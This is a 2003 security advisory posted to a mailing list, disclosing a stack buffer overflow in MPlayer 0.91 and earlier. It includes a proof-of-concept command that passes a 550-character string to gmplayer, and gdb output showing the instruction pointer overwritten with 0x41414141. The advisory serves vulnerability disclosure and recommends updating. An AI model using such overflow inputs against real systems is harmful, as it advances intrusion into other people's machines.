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Stack Buffer Overflow in MPlayer
From: CoKi <coki () interlap com ar>
Date: 31 Aug 2003 20:37:45 -0000



-------------------------------------------------
No System Group - Advisory #2 - 01/09/03
-------------------------------------------------
Program:  MPlayer - The Movie Player for Linux 
Homepage:  http://www.mplayerhq.hu
Vulnerable Versions: Mplayer v0.91 and prior
Risk: Low / Medium
Impact: Stack Buffer Overflow
-------------------------------------------------


- DESCRIPTION
-------------------------------------------------
MPlayer is a movie player for LINUX (runs on many
other Unices, and non-x86 CPUs, see the documentation).
It plays most MPEG, VOB, AVI, OGG/OGM, VIVO, ASF/WMA/WMV,
QT/MOV/MP4, FLI, RM, NuppelVideo, YUV4MPEG, FILM, RoQ, PVA
files, supported by many native, XAnim, and Win32 DLL codecs.

More informations at: http://www.mplayerhq.hu


- DETAILS
-------------------------------------------------
bash-2.05b$ gmplayer `perl -e 'print "A" x 550'`
Using GNU internationalization
Original domain: messages
Original dirname: /usr/share/locale
Current domain: mplayer
Current dirname: /usr/local/share/locale

Playing
'/home/coki/AAAAAAAAAAAAAAAAAAAAAAA....AAAAAA'
File not found:
'/home/coki/AAAAAAAAAAAAAAAAAAAAAAA....AAAAAA'

MPlayer interrupted by signal 11 in module: unknown
- MPlayer crashed by bad usage of CPU/FPU/RAM.
  Recompile MPlayer with --enable-debug and make a 'gdb' backtrace and
  disassembly. For details, see DOCS/bugreports.html#crash.b.
- MPlayer crashed. This shouldn't happen.
  It can be a bug in the MPlayer code _or_ in your drivers _or_ in your gcc
  version. If you think it's MPlayer's fault, please read 
DOCS/bugreports.html
  and follow the instructions there. We can't and won't help unless you 
provide
  this information when reporting a possible bug.

Now we proceed to open gdb to view what may have occured.

$gdb gmplayer
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you 
are
welcome to change it and/or distribute copies of it under certain 
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(no debugging symbols found)...
(gdb) r `perl -e 'print "A" x 550'`
Starting program: /usr/local/bin/gmplayer ` perl -e 'print "A" x 550'`
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...[New Thread 16384 (LWP 2044)]
Using GNU internationalization
Original domain: messages
Original dirname: /usr/share/locale
Current domain: mplayer
Current dirname: /usr/local/share/locale

MPlayer 0.90rc5-3.2.2 (C) 2000-2003 Arpad Gereoffy (see DOCS)

Playing
'/home/coki/AAAAAAAAAAAAAAAAAAAAAAA....AAAAAA'
File not found:
'/home/coki/AAAAAAAAAAAAAAAAAAAAAAA....AAAAAA'

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 16384 (LWP 2044)]
0x41414141 in ?? ()
(gdb) i r ebp eip esp
ebp            0x41414141       0x41414141
eip            0x41414141       0x41414141
esp            0xbfffd0b0       0xbfffd0b0
(gdb) 

Tested in Slackware Linux 9.0

NOTE: The program 'gmplayer' isn't SUID by default.


- SOLUTIONS
-------------------------------------------------
Update the program to latest version


- REFERENCES
-------------------------------------------------
http://www.nosystem.com.ar/advisories/advisory-02.txt


- CREDITS
-------------------------------------------------
Discovered by CoKi <coki () interlap com ar>

No System Group - http://www.nosystem.com.ar


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